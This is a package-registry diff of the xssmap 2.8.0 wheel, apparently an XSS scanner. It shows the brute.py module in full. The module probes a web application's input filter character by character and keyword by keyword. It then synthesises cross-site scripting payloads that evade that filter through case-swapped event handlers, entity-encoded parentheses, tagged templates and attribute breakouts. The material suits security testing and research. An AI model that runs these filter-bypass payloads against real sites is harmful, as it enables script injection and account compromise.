xssmap 2.8.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- xssmap/__init__.py +10 -0
- xssmap/__main__.py +6 -0
- xssmap/browser.py +900 -0
- xssmap/brute.py +563 -0
- xssmap/callback.py +161 -0
- xssmap/charset.py +117 -0
- xssmap/cli.py +1375 -0
- xssmap/contexts.py +131 -0
- xssmap/crawler.py +462 -0
- xssmap/csp.py +674 -0
- xssmap/domscan.py +1098 -0
- xssmap/domstate.py +620 -0
- xssmap/efficiency.py +196 -0
- xssmap/exploit.py +619 -0
- xssmap/filters.py +329 -0
- xssmap/fuzz.py +236 -0
- xssmap/htmlparse.py +437 -0
- xssmap/jslib.py +436 -0
- xssmap/mxss.py +250 -0
- xssmap/net.py +636 -0
- xssmap/params.py +419 -0
- xssmap/payloads.py +585 -0
- xssmap/report.py +863 -0
- xssmap/repro.py +259 -0
- xssmap/sarif.py +260 -0
- xssmap/scanner.py +1663 -0
- xssmap/session.py +472 -0
- xssmap/state.py +133 -0
- xssmap/stored.py +407 -0
- xssmap/subdomains.py +469 -0
- xssmap/verify.py +113 -0
- xssmap/waf.py +604 -0
- xssmap-2.8.0.dist-info/METADATA +850 -0
- xssmap-2.8.0.dist-info/RECORD +37 -0
- xssmap-2.8.0.dist-info/WHEEL +5 -0
- xssmap-2.8.0.dist-info/entry_points.txt +2 -0
- xssmap-2.8.0.dist-info/top_level.txt +1 -0
xssmap/brute.py
ADDED
|
@@ -0,0 +1,563 @@
|
|
|
1
|
+
"""Character-level filter brute force and payload synthesis.
|
|
2
|
+
|
|
3
|
+
The ordinary filter profile sends one probe containing every interesting
|
|
4
|
+
character and reads what came back. That is cheap, but it has a blind spot: a
|
|
5
|
+
filter that rejects the *whole* value because of one character tells you
|
|
6
|
+
nothing about the other characters, and a filter that strips `(` can make an
|
|
7
|
+
otherwise perfect payload fail.
|
|
8
|
+
|
|
9
|
+
This module asks the question one character at a time — marker + char + marker,
|
|
10
|
+
so a surviving character is visible even when its neighbours would have been
|
|
11
|
+
rejected — and then *synthesises* payloads that use only what survived. The
|
|
12
|
+
result is not a bypass generator with a fixed script: it is a small constraint
|
|
13
|
+
solver over the characters the application actually allows.
|
|
14
|
+
|
|
15
|
+
Cost is bounded (``max_requests``) and the caller decides when it is worth
|
|
16
|
+
spending: it runs only after a reflection was found and the normal ladder
|
|
17
|
+
failed, which is exactly the point where extra requests buy information.
|
|
18
|
+
"""
|
|
19
|
+
from __future__ import annotations
|
|
20
|
+
|
|
21
|
+
from dataclasses import dataclass, field
|
|
22
|
+
|
|
23
|
+
from . import contexts
|
|
24
|
+
|
|
25
|
+
# The characters that matter for building a working HTML/JS payload. Order is
|
|
26
|
+
# by usefulness so a truncated run still answers the important questions.
|
|
27
|
+
PROBE_CHARS = "<>\"'`()/ =;&#\t\\{}[]$:.+-_"
|
|
28
|
+
|
|
29
|
+
# How frameworks and sanitisers spell a character when they encode rather than
|
|
30
|
+
# strip it. Presence of any form means the character survives as data.
|
|
31
|
+
ENCODED_FORMS = {
|
|
32
|
+
"<": ("<", "<", "<"),
|
|
33
|
+
">": (">", ">", ">"),
|
|
34
|
+
'"': (""", """, """),
|
|
35
|
+
"'": ("'", "'", "'"),
|
|
36
|
+
"&": ("&", "&", "&"),
|
|
37
|
+
"(": ("(", "("),
|
|
38
|
+
")": (")", ")"),
|
|
39
|
+
"/": ("/", "/"),
|
|
40
|
+
"=": ("=", "="),
|
|
41
|
+
"`": ("`", "`"),
|
|
42
|
+
"\\": ("\", "\"),
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
# Sinks that fire without user interaction, in order of how often they are
|
|
46
|
+
# allowed through a sanitiser.
|
|
47
|
+
EVENTS = ("onload", "onerror", "onfocus", "onpointerover", "ontoggle",
|
|
48
|
+
"onanimationstart", "onbegin")
|
|
49
|
+
|
|
50
|
+
FUNCTIONS = ("alert", "confirm", "prompt", "print")
|
|
51
|
+
|
|
52
|
+
# Keyword probes, ordered by how much a synthesised payload needs them: the
|
|
53
|
+
# function call and the event handler come first, because a vector without
|
|
54
|
+
# either cannot fire. Only the low-``""``-frequency words are probed last.
|
|
55
|
+
PROBE_WORDS = ("alert", "onload", "onerror", "onfocus", "svg", "confirm",
|
|
56
|
+
"ontoggle", "onanimationstart", "onpointerover", "prompt",
|
|
57
|
+
"script", "onbegin", "print")
|
|
58
|
+
|
|
59
|
+
# Contexts where a synthesised payload can actually run live in contexts.py;
|
|
60
|
+
# this alias exists so callers and tests keep one import. A reflection in JSON,
|
|
61
|
+
# plain text, a header or a CSS value is not executable, and reporting it as
|
|
62
|
+
# XSS would be a false positive, so the stage refuses those.
|
|
63
|
+
EXECUTABLE_CONTEXTS = contexts.EXECUTABLE_CONTEXTS
|
|
64
|
+
RAWTEXT_CONTEXTS = contexts.RAWTEXT_CONTEXTS
|
|
65
|
+
|
|
66
|
+
# Substrings whose ban changes what a payload can look like. A filter that blocks
|
|
67
|
+
# "<script" but allows "<svg" is a different problem from one that blocks "<".
|
|
68
|
+
PROBE_PAIRS = ("<script", "</script", "<svg", "onerror=", "onload=",
|
|
69
|
+
"javascript:", "<>", '"><', "=(", "(){}")
|
|
70
|
+
|
|
71
|
+
|
|
72
|
+
@dataclass
|
|
73
|
+
class CharMap:
|
|
74
|
+
"""What happened to each probed character: raw, encoded, stripped, unknown."""
|
|
75
|
+
|
|
76
|
+
chars: dict[str, str] = field(default_factory=dict)
|
|
77
|
+
requests: int = 0
|
|
78
|
+
marker_ok: bool = True
|
|
79
|
+
|
|
80
|
+
def state(self, ch: str) -> str:
|
|
81
|
+
return self.chars.get(ch, "unknown")
|
|
82
|
+
|
|
83
|
+
def raw(self, ch: str) -> bool:
|
|
84
|
+
return self.state(ch) == "raw"
|
|
85
|
+
|
|
86
|
+
def encoded(self, ch: str) -> bool:
|
|
87
|
+
return self.state(ch) == "encoded"
|
|
88
|
+
|
|
89
|
+
def present(self, ch: str) -> bool:
|
|
90
|
+
return self.state(ch) in ("raw", "encoded")
|
|
91
|
+
|
|
92
|
+
def allows(self, *chars: str) -> bool:
|
|
93
|
+
"""True only when every character is known to survive unencoded."""
|
|
94
|
+
return all(self.raw(ch) for ch in chars)
|
|
95
|
+
|
|
96
|
+
def any_form(self, *chars: str) -> bool:
|
|
97
|
+
return all(self.present(ch) for ch in chars)
|
|
98
|
+
|
|
99
|
+
@property
|
|
100
|
+
def stripped(self) -> list[str]:
|
|
101
|
+
return [ch for ch, state in self.chars.items() if state == "stripped"]
|
|
102
|
+
|
|
103
|
+
@property
|
|
104
|
+
def known(self) -> bool:
|
|
105
|
+
return any(state != "unknown" for state in self.chars.values())
|
|
106
|
+
|
|
107
|
+
def describe(self) -> str:
|
|
108
|
+
if not self.known:
|
|
109
|
+
return "filter brute force: no characters probed"
|
|
110
|
+
raw = "".join(ch for ch in self.chars if self.chars[ch] == "raw")
|
|
111
|
+
gone = "".join(self.stripped)
|
|
112
|
+
bits = [f"filter brute force: {self.requests} probe(s)"]
|
|
113
|
+
if raw:
|
|
114
|
+
bits.append(f"survive raw: {raw!r}")
|
|
115
|
+
if gone:
|
|
116
|
+
bits.append(f"stripped: {gone!r}")
|
|
117
|
+
encoded = "".join(ch for ch in self.chars if self.chars[ch] == "encoded")
|
|
118
|
+
if encoded:
|
|
119
|
+
bits.append(f"entity-encoded: {encoded!r}")
|
|
120
|
+
return "; ".join(bits)
|
|
121
|
+
|
|
122
|
+
def as_dict(self) -> dict:
|
|
123
|
+
return {"chars": dict(self.chars), "requests": self.requests,
|
|
124
|
+
"marker_reflected": self.marker_ok}
|
|
125
|
+
|
|
126
|
+
|
|
127
|
+
@dataclass
|
|
128
|
+
class Synthetic:
|
|
129
|
+
"""A payload built from characters the target is known to keep."""
|
|
130
|
+
|
|
131
|
+
name: str
|
|
132
|
+
template: str
|
|
133
|
+
js: str = ""
|
|
134
|
+
|
|
135
|
+
def render(self, marker: str, js: str | None = None) -> str:
|
|
136
|
+
"""Render for sending, or with the verifier's JS when ``js`` is given."""
|
|
137
|
+
body = self.js if js is None else js
|
|
138
|
+
return self.template.replace("{JS}", body.replace("{M}", marker))
|
|
139
|
+
|
|
140
|
+
def as_dict(self) -> dict:
|
|
141
|
+
return {"name": self.name, "template": self.template, "js": self.js}
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
def map_chars(send, marker: str, chars: str | None = None,
|
|
145
|
+
max_requests: int = 24, log=None) -> CharMap:
|
|
146
|
+
"""Probe each character individually: ``marker + char + marker``.
|
|
147
|
+
|
|
148
|
+
``send(value)`` returns a Response-like object with ``text``. The first
|
|
149
|
+
probe is the bare marker, so a point that does not reflect at all exits
|
|
150
|
+
after one request instead of twenty-four.
|
|
151
|
+
"""
|
|
152
|
+
out = CharMap()
|
|
153
|
+
chars = chars or PROBE_CHARS
|
|
154
|
+
try:
|
|
155
|
+
head = send(marker)
|
|
156
|
+
except Exception:
|
|
157
|
+
return out
|
|
158
|
+
out.requests += 1
|
|
159
|
+
body = getattr(head, "text", "") or ""
|
|
160
|
+
if marker not in body:
|
|
161
|
+
out.marker_ok = False
|
|
162
|
+
return out
|
|
163
|
+
for ch in chars:
|
|
164
|
+
if out.requests >= max_requests:
|
|
165
|
+
break
|
|
166
|
+
probe = f"{marker}{ch}{marker}"
|
|
167
|
+
try:
|
|
168
|
+
resp = send(probe)
|
|
169
|
+
except Exception:
|
|
170
|
+
continue
|
|
171
|
+
out.requests += 1
|
|
172
|
+
text = getattr(resp, "text", "") or ""
|
|
173
|
+
if probe in text:
|
|
174
|
+
out.chars[ch] = "raw"
|
|
175
|
+
elif any(f"{marker}{form}{marker}" in text
|
|
176
|
+
for form in ENCODED_FORMS.get(ch, ())):
|
|
177
|
+
out.chars[ch] = "encoded"
|
|
178
|
+
elif marker in text:
|
|
179
|
+
out.chars[ch] = "stripped"
|
|
180
|
+
else:
|
|
181
|
+
# The whole value vanished for this probe: the character is not the
|
|
182
|
+
# problem, the point stopped reflecting. Leave it unknown.
|
|
183
|
+
out.chars[ch] = "unknown"
|
|
184
|
+
if log and out.known:
|
|
185
|
+
log.debug(f" {out.describe()}")
|
|
186
|
+
return out
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
def _case_forms(word: str) -> tuple[str, ...]:
|
|
190
|
+
"""Spellings to try for a keyword, cheapest first.
|
|
191
|
+
|
|
192
|
+
A filter that blocks ``onerror`` usually matches case-sensitively, while the
|
|
193
|
+
HTML parser and the JS engine do not care about case at all. Probing only the
|
|
194
|
+
lowercase spelling therefore reports "keyword blocked" for filters that a
|
|
195
|
+
one-character case change walks straight past.
|
|
196
|
+
"""
|
|
197
|
+
forms = [word]
|
|
198
|
+
swapped = "".join(c.upper() if i % 2 else c.lower() for i, c in enumerate(word))
|
|
199
|
+
if swapped != word:
|
|
200
|
+
forms.append(swapped)
|
|
201
|
+
upper = word.upper()
|
|
202
|
+
if upper not in forms:
|
|
203
|
+
forms.append(upper)
|
|
204
|
+
return tuple(forms)
|
|
205
|
+
|
|
206
|
+
|
|
207
|
+
def keyword_forms(send, marker: str,
|
|
208
|
+
words: tuple[str, ...] = PROBE_WORDS,
|
|
209
|
+
max_requests: int = 8, log=None) -> dict[str, str]:
|
|
210
|
+
"""Map each keyword to a spelling that survives, or ``""`` if none does.
|
|
211
|
+
|
|
212
|
+
Returns the *working form* rather than a boolean so the synthesizer can emit
|
|
213
|
+
``OnErRoR`` when that is what the filter allows, instead of silently giving up
|
|
214
|
+
on a keyword that is only blocked in one casing.
|
|
215
|
+
"""
|
|
216
|
+
forms: dict[str, str] = {}
|
|
217
|
+
spent = 0
|
|
218
|
+
for word in words:
|
|
219
|
+
for form in _case_forms(word):
|
|
220
|
+
if spent >= max_requests:
|
|
221
|
+
return forms
|
|
222
|
+
probe = f"{marker}{form}{marker}"
|
|
223
|
+
try:
|
|
224
|
+
resp = send(probe)
|
|
225
|
+
except Exception:
|
|
226
|
+
continue
|
|
227
|
+
spent += 1
|
|
228
|
+
text = getattr(resp, "text", "") or ""
|
|
229
|
+
if marker not in text:
|
|
230
|
+
continue # point stopped reflecting: unknown, not blocked
|
|
231
|
+
if form in text:
|
|
232
|
+
forms[word] = form
|
|
233
|
+
break
|
|
234
|
+
forms.setdefault(word, "")
|
|
235
|
+
if log:
|
|
236
|
+
blocked = [w for w, form in forms.items() if not form]
|
|
237
|
+
recased = [f"{w}->{form}" for w, form in forms.items() if form and form != w]
|
|
238
|
+
if recased:
|
|
239
|
+
log.debug(f" keyword casing needed: {', '.join(recased)}")
|
|
240
|
+
if blocked:
|
|
241
|
+
log.debug(f" keywords blocked in every casing: {', '.join(blocked)}")
|
|
242
|
+
return forms
|
|
243
|
+
|
|
244
|
+
|
|
245
|
+
def map_keywords(send, marker: str, words: tuple[str, ...] = PROBE_WORDS,
|
|
246
|
+
max_requests: int = 8, log=None) -> dict[str, bool]:
|
|
247
|
+
"""Boolean view of :func:`keyword_forms` (True = usable in some casing)."""
|
|
248
|
+
forms = keyword_forms(send, marker, words, max_requests, log)
|
|
249
|
+
return {word: bool(form) for word, form in forms.items()}
|
|
250
|
+
|
|
251
|
+
|
|
252
|
+
def map_pairs(send, marker: str, pairs: tuple[str, ...] = PROBE_PAIRS,
|
|
253
|
+
max_requests: int = 10, log=None) -> dict[str, bool]:
|
|
254
|
+
"""Probe multi-character sequences, which single characters cannot reveal.
|
|
255
|
+
|
|
256
|
+
``<`` surviving on its own says nothing about ``<script`` being blocked as a
|
|
257
|
+
token, and that difference decides whether a payload should use ``<svg`` or a
|
|
258
|
+
script block. True means the sequence came back verbatim.
|
|
259
|
+
"""
|
|
260
|
+
out: dict[str, bool] = {}
|
|
261
|
+
spent = 0
|
|
262
|
+
for pair in pairs:
|
|
263
|
+
if spent >= max_requests:
|
|
264
|
+
break
|
|
265
|
+
probe = f"{marker}{pair}{marker}"
|
|
266
|
+
try:
|
|
267
|
+
resp = send(probe)
|
|
268
|
+
except Exception:
|
|
269
|
+
continue
|
|
270
|
+
spent += 1
|
|
271
|
+
text = getattr(resp, "text", "") or ""
|
|
272
|
+
if marker not in text:
|
|
273
|
+
continue
|
|
274
|
+
out[pair] = probe in text
|
|
275
|
+
if log:
|
|
276
|
+
banned = [p for p, ok in out.items() if not ok]
|
|
277
|
+
if banned:
|
|
278
|
+
log.debug(f" blocked sequences: {', '.join(banned)}")
|
|
279
|
+
return out
|
|
280
|
+
|
|
281
|
+
|
|
282
|
+
def detect_truncation(send, marker: str, max_requests: int = 7,
|
|
283
|
+
log=None) -> int:
|
|
284
|
+
"""Find the length at which the target starts cutting the value.
|
|
285
|
+
|
|
286
|
+
Returns the number of characters that survive (0 = no truncation seen). Many
|
|
287
|
+
real filters cut at a fixed buffer size; a payload silently cut in half looks
|
|
288
|
+
exactly like a payload whose characters were stripped, and the two need
|
|
289
|
+
completely different next steps.
|
|
290
|
+
"""
|
|
291
|
+
def survives(length: int) -> bool | None:
|
|
292
|
+
filler = "A" * length
|
|
293
|
+
probe = f"{marker}{filler}{marker}"
|
|
294
|
+
try:
|
|
295
|
+
resp = send(probe)
|
|
296
|
+
except Exception:
|
|
297
|
+
return None
|
|
298
|
+
text = getattr(resp, "text", "") or ""
|
|
299
|
+
if marker not in text:
|
|
300
|
+
return None
|
|
301
|
+
return probe in text
|
|
302
|
+
|
|
303
|
+
spent = 0
|
|
304
|
+
lo, hi = 8, 2048
|
|
305
|
+
first_ok = survives(lo)
|
|
306
|
+
spent += 1
|
|
307
|
+
if first_ok is None or not first_ok:
|
|
308
|
+
return 0
|
|
309
|
+
last_ok = lo
|
|
310
|
+
if spent < max_requests:
|
|
311
|
+
top = survives(hi)
|
|
312
|
+
spent += 1
|
|
313
|
+
if top:
|
|
314
|
+
return 0 # 2 KB goes through: not truncating
|
|
315
|
+
while spent < max_requests and hi - lo > 8:
|
|
316
|
+
mid = (lo + hi) // 2
|
|
317
|
+
verdict = survives(mid)
|
|
318
|
+
spent += 1
|
|
319
|
+
if verdict is None:
|
|
320
|
+
break
|
|
321
|
+
if verdict:
|
|
322
|
+
lo = mid
|
|
323
|
+
last_ok = max(last_ok, mid)
|
|
324
|
+
else:
|
|
325
|
+
hi = mid
|
|
326
|
+
cut = 0 if last_ok >= hi - 8 and hi >= 2048 else last_ok
|
|
327
|
+
if log and cut:
|
|
328
|
+
log.debug(f" value truncated near {cut} characters")
|
|
329
|
+
return int(cut)
|
|
330
|
+
|
|
331
|
+
|
|
332
|
+
def _pick_quote(chars: CharMap) -> str:
|
|
333
|
+
for quote in ('"', "'", "`"):
|
|
334
|
+
if chars.raw(quote):
|
|
335
|
+
return quote
|
|
336
|
+
return ""
|
|
337
|
+
|
|
338
|
+
|
|
339
|
+
def _pick_function(words: dict[str, bool]) -> str:
|
|
340
|
+
"""A callable the filter allows in some casing, or "" when none is left.
|
|
341
|
+
|
|
342
|
+
Falling back to ``alert`` when every candidate was probed and blocked is how
|
|
343
|
+
a synthesised vector ends up containing the very word the filter drops.
|
|
344
|
+
"""
|
|
345
|
+
for name in FUNCTIONS:
|
|
346
|
+
if words.get(name, True): # not probed counts as allowed
|
|
347
|
+
return name
|
|
348
|
+
return ""
|
|
349
|
+
|
|
350
|
+
|
|
351
|
+
def _pick_event(words: dict[str, bool]) -> str:
|
|
352
|
+
for name in EVENTS:
|
|
353
|
+
if words.get(name, True):
|
|
354
|
+
return name
|
|
355
|
+
return ""
|
|
356
|
+
|
|
357
|
+
|
|
358
|
+
def _form(forms: dict[str, str] | None, name: str) -> str:
|
|
359
|
+
"""The spelling of *name* that survived the filter, or "" if none did.
|
|
360
|
+
|
|
361
|
+
``forms`` only holds a key once the word was probed: a missing key means the
|
|
362
|
+
probe budget ran out, so the plain spelling is still worth trying. A key
|
|
363
|
+
mapped to ``""`` means every casing was blocked and the word is unusable.
|
|
364
|
+
"""
|
|
365
|
+
if not forms or not name or name not in forms:
|
|
366
|
+
return name
|
|
367
|
+
return forms[name]
|
|
368
|
+
|
|
369
|
+
|
|
370
|
+
def _invocation(fn: str, marker: str, chars: CharMap) -> str:
|
|
371
|
+
"""A call to ``fn`` built only from surviving punctuation."""
|
|
372
|
+
quote = _pick_quote(chars)
|
|
373
|
+
argument = f"{quote}{marker}{quote}" if quote else "1"
|
|
374
|
+
if chars.allows("(", ")"):
|
|
375
|
+
return f"{fn}({argument})"
|
|
376
|
+
if chars.raw("`"):
|
|
377
|
+
# Tagged template: alert`marker` calls the function with an array.
|
|
378
|
+
return f"{fn}`{marker}`"
|
|
379
|
+
if chars.allows("&", "#", ";"):
|
|
380
|
+
# The HTML parser decodes entities inside an attribute value before the
|
|
381
|
+
# JS engine sees it, so entity-encoded parentheses are still a call.
|
|
382
|
+
return f"{fn}({argument.lstrip('-')})"
|
|
383
|
+
return ""
|
|
384
|
+
|
|
385
|
+
|
|
386
|
+
def _markup(js: str, chars: CharMap, words: dict[str, bool],
|
|
387
|
+
forms: dict[str, str] | None = None) -> list[tuple[str, str]]:
|
|
388
|
+
"""Tag/attribute constructions whose punctuation survives the filter."""
|
|
389
|
+
if not js or not chars.allows("<", ">"):
|
|
390
|
+
return []
|
|
391
|
+
event = _form(forms, _pick_event(words))
|
|
392
|
+
tag = _form(forms, "svg") if words.get("svg", True) else _form(forms, "img")
|
|
393
|
+
handler_ok = bool(event and tag)
|
|
394
|
+
out: list[tuple[str, str]] = []
|
|
395
|
+
if handler_ok and chars.raw("="):
|
|
396
|
+
if chars.raw(" "):
|
|
397
|
+
out.append((f"{tag}-space", f"<{tag} {event}={js}>"))
|
|
398
|
+
if chars.raw("/"):
|
|
399
|
+
out.append((f"{tag}-slash", f"<{tag}/{event}={js}>"))
|
|
400
|
+
if chars.raw("\t"):
|
|
401
|
+
out.append((f"{tag}-tab", f"<{tag}\t{event}={js}>"))
|
|
402
|
+
# A script block needs no event handler, so it survives the case where every
|
|
403
|
+
# handler name was blocked.
|
|
404
|
+
if chars.allows("/", "<", ">"):
|
|
405
|
+
out.append(("script-block", f"<script>{js}</script>"))
|
|
406
|
+
if handler_ok and chars.allows("&", "#", ";") and chars.raw("=") and chars.raw(" "):
|
|
407
|
+
out.append((f"{tag}-entity-eq", f"<{tag} {event}={js}>"))
|
|
408
|
+
return out
|
|
409
|
+
|
|
410
|
+
|
|
411
|
+
def _quote_for(context: str) -> str:
|
|
412
|
+
return contexts.break_quote(context)
|
|
413
|
+
|
|
414
|
+
|
|
415
|
+
RAWTEXT_CLOSE = contexts.RAWTEXT_CONTEXTS
|
|
416
|
+
|
|
417
|
+
|
|
418
|
+
def _dedupe(items: list[Synthetic]) -> list[Synthetic]:
|
|
419
|
+
out: list[Synthetic] = []
|
|
420
|
+
seen: set[str] = set()
|
|
421
|
+
for item in items:
|
|
422
|
+
key = item.template + "|" + item.js
|
|
423
|
+
if key in seen:
|
|
424
|
+
continue
|
|
425
|
+
seen.add(key)
|
|
426
|
+
out.append(item)
|
|
427
|
+
return out
|
|
428
|
+
|
|
429
|
+
|
|
430
|
+
def _banned_hit(vector: Synthetic, marker: str, banned: tuple[str, ...]) -> bool:
|
|
431
|
+
"""True when a vector contains a sequence the target blocks.
|
|
432
|
+
|
|
433
|
+
A blocked sequence is worse than a blocked character: no amount of
|
|
434
|
+
reassembly helps if ``onerror=`` itself never survives, so vectors that need
|
|
435
|
+
it are dropped rather than sent and counted as failures.
|
|
436
|
+
"""
|
|
437
|
+
if not banned:
|
|
438
|
+
return False
|
|
439
|
+
rendered = vector.template.replace("{JS}", vector.js.replace("{M}", marker))
|
|
440
|
+
return any(seq and seq in rendered for seq in banned)
|
|
441
|
+
|
|
442
|
+
|
|
443
|
+
def synthesise(chars: CharMap, words: dict[str, bool] | None = None,
|
|
444
|
+
marker: str = "xs1",
|
|
445
|
+
context: str = "html_text",
|
|
446
|
+
forms: dict[str, str] | None = None,
|
|
447
|
+
banned: tuple[str, ...] = ()) -> list[Synthetic]:
|
|
448
|
+
"""Build payloads from the surviving character set, best first.
|
|
449
|
+
|
|
450
|
+
Returns templates with ``{JS}``/``{M}`` slots so the scanner can render
|
|
451
|
+
them with the marker it is already tracking for that point. ``context`` is
|
|
452
|
+
the reflection context: a payload that breaks out of an attribute or a JS
|
|
453
|
+
string needs the matching quote, which a payload aimed at HTML text does
|
|
454
|
+
not. Building for the wrong context is how a filter brute forcer ends up
|
|
455
|
+
with a list of strings the page never executes.
|
|
456
|
+
"""
|
|
457
|
+
words = words or {}
|
|
458
|
+
if not chars.known:
|
|
459
|
+
return []
|
|
460
|
+
fn = _form(forms, _pick_function(words))
|
|
461
|
+
if not fn:
|
|
462
|
+
return [] # every callable was probed and blocked
|
|
463
|
+
js = _invocation(fn, "{M}", chars)
|
|
464
|
+
if not js:
|
|
465
|
+
return []
|
|
466
|
+
# Templates keep a {JS} slot so the browser verifier can swap in its own
|
|
467
|
+
# DOM-probe script; the concrete call travels alongside as ``js``.
|
|
468
|
+
markup = _markup("{JS}", chars, words, forms)
|
|
469
|
+
|
|
470
|
+
quote = _quote_for(context)
|
|
471
|
+
if quote and not chars.raw(quote):
|
|
472
|
+
return []
|
|
473
|
+
|
|
474
|
+
if context in ("js_string_double", "js_string_single", "js_template"):
|
|
475
|
+
out = [Synthetic("js-breakout", f"{quote};{{JS}}//", js)]
|
|
476
|
+
if context == "js_template" and chars.allows("$", "{", "}"):
|
|
477
|
+
out.append(Synthetic("js-template-inject", "${{" + "{JS}" + "}}", js))
|
|
478
|
+
return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
|
|
479
|
+
|
|
480
|
+
if context in ("attr_double", "attr_single"):
|
|
481
|
+
out = []
|
|
482
|
+
# Staying inside the tag needs no angle brackets at all: close the
|
|
483
|
+
# quoted value, add an event handler and let autofocus fire it.
|
|
484
|
+
if chars.allows(" ", "=", quote):
|
|
485
|
+
inner = js
|
|
486
|
+
if quote in inner:
|
|
487
|
+
# The handler lives inside a quoted attribute, so the call's
|
|
488
|
+
# own quotes must be entity-encoded or the tag ends early.
|
|
489
|
+
if chars.allows("&", ";"):
|
|
490
|
+
inner = inner.replace(
|
|
491
|
+
quote, """ if quote == '"' else "'")
|
|
492
|
+
elif chars.allows("(", ")") and quote not in f"{fn}(1)":
|
|
493
|
+
inner = f"{fn}(1)"
|
|
494
|
+
else:
|
|
495
|
+
inner = ""
|
|
496
|
+
if inner:
|
|
497
|
+
out.append(Synthetic(
|
|
498
|
+
"attr-event",
|
|
499
|
+
f"{quote} onfocus={quote}{{JS}}{quote} autofocus={quote}{quote}",
|
|
500
|
+
inner))
|
|
501
|
+
if chars.raw(">"):
|
|
502
|
+
out.extend(Synthetic(name, f"{quote}>{template}", js)
|
|
503
|
+
for name, template in markup)
|
|
504
|
+
return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
|
|
505
|
+
|
|
506
|
+
if context == "url_attr":
|
|
507
|
+
out = []
|
|
508
|
+
if (chars.raw(":") and words.get("javascript", True)
|
|
509
|
+
and (chars.allows("(", ")") or chars.raw("`"))):
|
|
510
|
+
url_js = _invocation(fn, "{M}", chars)
|
|
511
|
+
if url_js:
|
|
512
|
+
out.append(Synthetic("javascript-url", "javascript:{JS}", url_js))
|
|
513
|
+
for boundary in ('"', "'"):
|
|
514
|
+
if chars.raw(boundary) and chars.raw(">"):
|
|
515
|
+
out.extend(Synthetic(name, f"{boundary}>{template}", js)
|
|
516
|
+
for name, template in markup)
|
|
517
|
+
return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
|
|
518
|
+
|
|
519
|
+
if context == "comment":
|
|
520
|
+
return [v for v in _dedupe([Synthetic(name, ">" + template, js)
|
|
521
|
+
for name, template in markup])
|
|
522
|
+
if not _banned_hit(v, marker, banned)]
|
|
523
|
+
|
|
524
|
+
if context in RAWTEXT_CLOSE:
|
|
525
|
+
if not chars.allows("<", ">", "/"):
|
|
526
|
+
return []
|
|
527
|
+
close = f"</{context}>"
|
|
528
|
+
return [v for v in _dedupe([Synthetic(name, close + template, js)
|
|
529
|
+
for name, template in markup])
|
|
530
|
+
if not _banned_hit(v, marker, banned)]
|
|
531
|
+
|
|
532
|
+
out = [Synthetic(name, template, js) for name, template in markup]
|
|
533
|
+
# A URL attribute (`href`, `src`, `formaction`) accepts javascript: even
|
|
534
|
+
# when markup characters are stripped; the caller decides whether the
|
|
535
|
+
# context makes that meaningful because the same payload is harmless text
|
|
536
|
+
# elsewhere.
|
|
537
|
+
if (chars.raw(":") and words.get("javascript", True)
|
|
538
|
+
and (chars.allows("(", ")") or chars.raw("`"))):
|
|
539
|
+
url_js = _invocation(fn, "{M}", chars)
|
|
540
|
+
if url_js:
|
|
541
|
+
out.append(Synthetic("javascript-url", "javascript:{JS}", url_js))
|
|
542
|
+
return [v for v in _dedupe(out) if not _banned_hit(v, marker, banned)]
|
|
543
|
+
|
|
544
|
+
|
|
545
|
+
def summary(chars: CharMap, words: dict[str, bool] | None = None,
|
|
546
|
+
context: str = "html_text", forms: dict[str, str] | None = None,
|
|
547
|
+
blocked: dict[str, bool] | None = None,
|
|
548
|
+
truncation: int = 0) -> dict:
|
|
549
|
+
"""Report-friendly view of what the filter allows."""
|
|
550
|
+
words = words or {}
|
|
551
|
+
return {
|
|
552
|
+
"chars": dict(chars.chars),
|
|
553
|
+
"requests": chars.requests,
|
|
554
|
+
"marker_reflected": chars.marker_ok,
|
|
555
|
+
"keywords": dict(words),
|
|
556
|
+
"keyword_forms": dict(forms or {}),
|
|
557
|
+
"blocked_sequences": [seq for seq, ok in (blocked or {}).items() if not ok],
|
|
558
|
+
"truncation": truncation,
|
|
559
|
+
"stripped": chars.stripped,
|
|
560
|
+
"synthesised": [s.as_dict() for s in synthesise(
|
|
561
|
+
chars, words, context=context, forms=forms,
|
|
562
|
+
banned=tuple(seq for seq, ok in (blocked or {}).items() if not ok))],
|
|
563
|
+
}
|